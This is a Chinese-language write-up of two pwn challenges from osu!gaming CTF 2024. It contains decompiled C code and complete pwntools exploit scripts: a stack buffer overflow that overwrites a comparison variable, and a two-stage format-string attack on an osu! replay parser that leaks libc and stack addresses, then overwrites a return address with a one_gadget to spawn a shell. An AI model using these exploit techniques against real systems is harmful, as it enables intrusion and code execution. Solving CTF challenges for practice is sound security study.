osu!gaming_CTF_2024
pwn
betterthanu
fgets那存在一个溢出,覆盖 v6为727,v5的值小于v6就好了
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+10h] [rbp-10h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
printf("How much pp did you get? ");
fgets(s, 100, stdin);
v6 = atoi(s);
v5 = v6 + 1;
puts("Any last words?");
fgets(s, 100, stdin);
if ( v5 < v6 )
{
puts("What??? how did you beat me??");
puts("Hmm... I'll consider giving you the flag");
if ( v6 == 727 )
{
printf("Wait, you got %d pp?\n", 727LL);
printf("You can't possibly be an NPC! Here, have the flag: ");
flag_file = fopen("flag.txt", "r");
fgets(flag, 100, flag_file);
puts(flag);
}
else
{
puts("Just kidding!");
}
}
else
{
printf("Ha! I got %d\n", v5);
puts("Maybe you'll beat me next time");
}
return 0;
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7279
elf = context.binary = ELF('./challenge')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = b"a" * (0x10) +p64(0) + p32(0) + p32(0x2D7)
sla("How much pp did you get? ","11")
# g(p)
sla("Any last words?",payload)
p.interactive()
miss-analyzer
题目实现了一个 osr parser,https://osu.ppy.sh/wiki/en/Client/File_formats/osr_%28file_format%29,只解析到miss次数那
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char v5; // [rsp+15h] [rbp-14Bh]
__int16 v6; // [rsp+16h] [rbp-14Ah]
char *lineptr; // [rsp+18h] [rbp-148h] BYREF
size_t n; // [rsp+20h] [rbp-140h] BYREF
void *ptr; // [rsp+28h] [rbp-138h] BYREF
__int64 v10; // [rsp+30h] [rbp-130h] BYREF
void *v11; // [rsp+38h] [rbp-128h] BYREF
char format[264]; // [rsp+40h] [rbp-120h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
lineptr = 0LL;
n = 0LL;
if ( getline(&lineptr, &n, stdin) <= 0 )
break;
v3 = lineptr;
v3[strcspn(lineptr, "\n")] = 0;
if ( !*lineptr )
break;
v10 = hexs2bin(lineptr, &ptr);
v11 = ptr;
if ( !v10 )
{
puts("Error: failed to decode hex");
return 1;
}
puts("\n=~= miss-analyzer =~=");
v5 = read_byte(&v11, &v10);
if ( v5 )
{
switch ( v5 )
{
case 1:
puts("Mode: osu!taiko");
break;
case 2:
puts("Mode: osu!catch");
break;
case 3:
puts("Mode: osu!mania");
break;
}
}
else
{
puts("Mode: osu!");
}
consume_bytes(&v11, &v10, 4LL);
read_string(&v11, &v10, format, 255LL);
printf("Hash: %s\n", format);
read_string(&v11, &v10, format, 255LL);
printf("Player name: ");
printf(format);
putchar(10);
read_string(&v11, &v10, format, 255LL);
consume_bytes(&v11, &v10, 10LL);
v6 = read_short(&v11, &v10);
printf("Miss count: %d\n", (unsigned int)v6);
if ( v6 )
puts("Yep, looks like you missed.");
else
puts("You didn't miss!");
puts("=~=~=~=~=~=~=~=~=~=~=\n");
free(lineptr);
free(ptr);
}
return 0;
}
漏洞出现在对playername的解析,存在一个格式化字符串的漏洞,需要根据wiki 中 osr文件结构的描述,构造一个合适的osr file,然后打格式化字符串,不合法的file会直接exit()
read_string(&v11, &v10, format, 255LL);
printf("Player name: ");
printf(format);
具体的利用思路是 第一次格式化字符串leak栈上libc相关的地址 还有栈地址,算出printf的返回地址,然后第二次call printf的时候把printf的返回地址改成one gadget
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7273
elf = context.binary = ELF('./analyzer')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def byte2hex(byte):
if isinstance(byte, bytes) and len(byte) == 1:
high = (byte[0] >> 4) & 0xf
low = byte[0] & 0xf
return f"{high:01x}{low:01x}"
def bytes2hex(byte_data):
if isinstance(byte_data, bytes):
return ''.join(f"{b:02x}" for b in byte_data)
p = connect()
# string ULEB128
# 分为三个部分,每个部分一个字节
# 0x0b string len, string ....
# osr file struct
# 1byte game mode
# 4byte version of the game
# string(0x0b + len(1byte) + 32bytes) osu! beatmap MD5 hash
# string (0x0b + len(1byte) + player name) about player name
# string(0x0b + len(1byte)) osu! replay MD5 hash (includes certain properties of the replay)
# game mode && game version 5bytes
payload = b'\x00\xBE\xB3\x34\x01'
# osu! beatmap MD5 hash 1 + 1 + 32 = 34 bytes
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
# string (0x0b + len(1byte) + player name) about player name
# payload += b'\x0B\x04\x6E\x79\x64\x6e'
format_string = b"%p-%pA" + b"%p-" * 3 + b'BBB%p'
payload += b'\x0B\x14' + format_string
# hash2 replay MD5 hash
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
# consume_bytes(&input_data_hex2bin_ptr, &size, 10);
# all short(2 bytes)
# Number of 300s
# Number of 100s in standard, 150s in Taiko, 100s in CTB, 100s in mania
# Number of 50s in standard, small fruit in CTB, 50s in mania
# Number of Gekis in standard, Max 300s in mania
# Number of Katus in standard, 200s in mania
payload += b'\x42' * 10
# Number of misses short
payload += b'\x00' * 2 # 好耶 0 miss
# print(len(payload))
payload = bytes2hex(payload)
# g(p)
sla("./analyzer):",payload)
ru("A")
libc_base = int(r(14),16) - (0x7f5e10b14887 - 0x7f5e10a00000)
ru("BBB")
return_addr = int(r(14),16) - (0x7ffeb990b0e8 - 0x7ffeb990ae68) # sub_function return_addr()
success(f"libc_base ->{hex(libc_base)}")
success(f"return_addr ->{hex(return_addr)}")
ret = 0x000000000040101a # ret
rdi = libc_base + 0x000000000002a3e5 #c pop rdi; ret
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
payload = b'\x00\xBE\xB3\x34\x01'
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
# pwndbg> fmtarg 0x7ffe22573f60
# The index of format argument : 15 ("\%14$p")
# pwndbg>
# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
ogg = libc_base + 0xebc85
format_string = fmtstr_payload(14,{return_addr:ogg},write_size='short')
print(len(format_string))
payload += b'\x0B\x40' + format_string
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
payload += b'\x42' * 10
payload += b'\x00' * 2
payload = bytes2hex(payload)
sla("./analyzer):",payload)
p.interactive()
唉,咱好菜,不会pyjail 不会v8